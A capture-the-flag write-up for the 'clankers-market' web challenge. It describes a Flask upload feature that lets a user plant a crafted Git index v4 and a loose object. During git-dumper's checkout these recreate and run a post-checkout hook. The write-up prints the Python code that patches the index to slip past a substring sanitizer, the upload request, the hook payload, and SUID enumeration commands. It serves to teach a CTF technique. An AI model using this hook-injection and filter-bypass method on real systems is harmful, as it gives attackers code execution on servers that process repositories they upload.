clankers-market
clankers-market
Platform: B01Lersc | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-18 | Status: Solved Techniques: arbitrary_git_metadata_write, git_checkout_hook_execution, git_index_v4_path_compression_bypass, loose_object_injection
Summary
Task: a Flask upload feature lets authenticated users place files inside a temporary Git repository that is later served and re-dumped with git-dumper. Solution: inject a crafted Git index v4 plus a loose object so git checkout . recreates and executes a hidden post-checkout hook, which writes the real flag to flag.txt.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
b01lersc| ID:20260418_b01lersc_clankers_market - Tags: flask, arbitrary_file_write, git, directory_listing, git_dumper, git_index, git_hooks
- Indicators: Upload feature writes attacker-chosen filenames under a server-side Git working directory, Application serves /.git/ over directory listing and then re-dumps it with git-dumper, Sanitizer deletes files whose raw contents contain lowercase
git, A downstreamgit checkout .happens after the dump is reconstructed, You can provide both a custom .git/index and matching loose object files - Source:
20260418_b01lersc_clankers_market.md
Foothold
Vulnerability / Misconfiguration
- Arbitrary_git_metadata_write
- Git_checkout_hook_execution
- Git_index_v4_path_compression_bypass
- Loose_object_injection
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- arbitrary_git_metadata_write
- git_checkout_hook_execution
- git_index_v4_path_compression_bypass
- loose_object_injection
- Tags: flask, arbitrary_file_write, git, directory_listing, git_dumper, git_index, git_hooks
Original Writeup
<details><summary>Click to expand original content</summary>clankers-market — b01lers CTF 2026
Description
Upload a repo artifact and inspect extraction output.
The challenge gives source for a Flask app with a "Clanker Feature" upload endpoint. After login, a user may upload up to two files, the server places them into /tmp/git_storage, sanitizes the directory, exposes it with python3 -m http.server, and then runs git-dumper to reconstruct the repository into /tmp/dump.
The goal is to turn that pipeline into code execution so the app itself writes the real flag into /tmp/dump/flag.txt, which is later read and shown in the response.
Challenge Summary
The exploit chain is:
- Register any new account; authentication is not a barrier.
- Abuse file upload paths to write arbitrary files inside
/tmp/git_storage, including.git/indexand loose objects under.git/objects/. - Let the app sanitize and serve the repository, then let
git-dumperrecursively download the exposed/.git/directory. - Make dump-side
git checkout .recreate.git/hooks/post-checkoutfrom a malicious index entry and execute it. - Have the hook run
/usr/local/bin/read-flag > flag.txt, so the application reads back the real flag.
The only real obstacle is the source-side sanitizer: it deletes any file whose raw bytes contain lowercase git. A plain .git/hooks/post-checkout index entry is therefore removed before the repo is served. The bypass is to use Git index version 4 pathname compression so Git reconstructs .git/hooks/post-checkout during parsing even though the uploaded raw index bytes never contain the contiguous substring git.
Relevant Source Analysis
1. Authentication is trivial
/register simply inserts a new username/password pair into an in-memory dictionary and logs us in immediately:
elif username in USERS:
error = "Username already exists."
else:
USERS[username] = password
session["username"] = username
return redirect(url_for("listing"))
So the exploit begins by registering a fresh random account.
2. Upload lets us write inside the server-side repo
The upload handler joins the provided filename onto WORKDIR = "/tmp/git_storage" and only checks that the normalized path still starts with that directory:
file_path = os.path.join(WORKDIR, file.filename)
normalized_path = os.path.abspath(file_path)
if not normalized_path.startswith(WORKDIR + os.sep):
...
os.makedirs(os.path.dirname(normalized_path), exist_ok=True)
file.save(normalized_path)
That blocks ../ traversal out of the tree, but it still allows arbitrary writes anywhere inside /tmp/git_storage, including .git/index and .git/objects/<xx>/<yy...>.
3. The app builds a repo, plants a decoy flag, sanitizes, serves, then dumps
setup_git_storage() initializes a Git repo, commits current contents, writes a fake flag into flag.txt, then commits again:
run_command("git init .")
run_command("git add . && git commit -m 'Initial commit'", ignored_errors=True)
flag = "bctf{steal_" + secrets.token_hex(16) + "}"
run_command(f" echo '{flag}'> flag.txt")
run_command("git add .")
run_command("git commit -m 'ctf is so easy'")
Then the handler calls:
sanitize()
pid = quickie_server(WORKDIR)
run_command("git-dumper http://localhost:12345 /tmp/dump")
Finally it reads /tmp/dump/flag.txt and returns it to the user.
4. git-dumper performs the dangerous checkout step
In the bundled git_dumper.py, after downloading the repository and sanitizing only selected config directives, it runs:
sanitize_file(".git/config")
subprocess.call(["git", "checkout", "."], ...)
sanitize_file() comments out only a few unsafe config keys:
UNSAFE=r"^\s*fsmonitor|sshcommand|askpass|editor|pager"
It does not neutralize hooks. So if checkout materializes .git/hooks/post-checkout, Git will execute it.
Why the Intended Mitigations Fail
The challenge has several defensive steps, but none actually closes the relevant path.
Source-side cleanup is incomplete
sanitize() removes some obvious Git administration paths:
run_command("rm .git/config")
run_command("touch .git/config")
run_command("rm -rf .git/hooks")
run_command("rm -rf .git/commondir")
run_command("rm -rf .git/info")
run_command(r"grep -rlZ 'git' . | xargs -0 rm -f --")
This looks strong, but it reasons about raw file contents, not Git's parsed semantics. A malicious index can encode a dangerous path without literally containing the bytes git next to each other.
Dump-side cleanup sanitizes config, not checkout side effects
git-dumper only comments out suspicious lines in .git/config. That helps against config-based command execution, but the eventual git checkout . still trusts the downloaded index and objects. If checkout recreates a hook under .git/hooks/, Git itself executes it.
The two-file limit is enough
Only two uploaded files are allowed, but that is sufficient:
- A crafted
.git/index - One loose object containing the hook body
No third file is needed.
How the Git Index v4 Bypass Works
The key idea is to let Git reconstruct .git/hooks/post-checkout from compressed pathname data rather than storing that full dangerous string literally in the uploaded file.
The exploit script first creates a normal repo locally and inserts three index entries pointing at the same blob object:
.gis.giu/hooks/post-checkoutflag.txt
Then it upgrades the index to version 4 and patches the compressed suffix bytes so the second path decodes as .git/hooks/post-checkout instead of .giu/hooks/post-checkout.
Core patch logic:
SAFE_PREFIX = ".gis"
PLACEHOLDER = ".giu/hooks/post-checkout"
HOOK_PATH = ".git/hooks/post-checkout"
run(["git", "update-index", "--add", "--cacheinfo", f"100644,{sha},{SAFE_PREFIX}"], repo)
run(["git", "update-index", "--add", "--cacheinfo", f"100755,{sha},{PLACEHOLDER}"], repo)
run(["git", "update-index", "--add", "--cacheinfo", f"100644,{sha},flag.txt"], repo)
run(["git", "update-index", "--index-version", "4"], repo)
index = bytearray(index_path.read_bytes())
old = b"u/hooks/post-checkout\x00"
new = b"t/hooks/post-checkout\x00"
pos = index.find(old)
index[pos:pos + len(old)] = new
index[-20:] = hashlib.sha1(index[:-20]).digest()
if b"git" in index:
raise RuntimeError("index still contains forbidden substring 'git'")
At a high level, version 4 pathname compression stores one path relative to the previous entry. By controlling the previous safe path and then editing the compressed suffix, Git reconstructs the hidden .git/... path during parsing even though the raw bytes uploaded to the server never contain lowercase git contiguously.
Exploit Development and Local Validation
The hook payload is tiny:
#!/bin/sh /usr/local/bin/read-flag > flag.txt
The Dockerfile shows why this works:
RUN chown root:web /usr/local/bin/read-flag && \
chmod 4750 /usr/local/bin/read-flag
The Flask app runs as user web, so the SUID helper can read /flag.txt and print it. Redirecting its output to flag.txt places the real flag exactly where the application later expects to find it.
The full exploit uploads two files after registration:
files = [
("file", (".git/index", index_bytes, "application/octet-stream")),
("file", (f".git/objects/{sha[:2]}/{sha[2:]}", obj_bytes, "application/octet-stream")),
]
r = s.post(f"{base_url.rstrip('/')}/clanker-feature", files=files, timeout=30)
Why flag.txt also appears in the index: git-dumper ends with git checkout ., so the pathspec is .. Including a normal worktree path such as flag.txt ensures checkout has a matching tracked path to restore and proceeds through the update process that also recreates the hidden hook.
Local validation matched the intended chain exactly. Against the provided Docker image, the exploit returned the embedded local flag:
bctf{kill_bill_2}
Final Exploit Against the Remote Instance
The same exploit worked unchanged against the remote service:
- Register a new random account.
- Upload the crafted
.git/indexand matching loose object. - Let the app sanitize, serve, dump, and checkout the repository.
- The hidden
post-checkouthook runs and writes the real flag into/tmp/dump/flag.txt. - The app reads that file and returns the real event flag in the success page.
Lessons / Takeaways
- Treat Git metadata as executable attack surface, not inert data.
- Sanitizing raw bytes is weaker than validating parsed semantics.
- Reconstructing attacker-controlled repos and then calling
git checkout .is equivalent to running attacker-controlled logic. - Partial hardening of
.git/configdoes not help if hooks can be recreated from the index itself. - Format quirks such as Git index v4 pathname compression can defeat substring-based filters.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR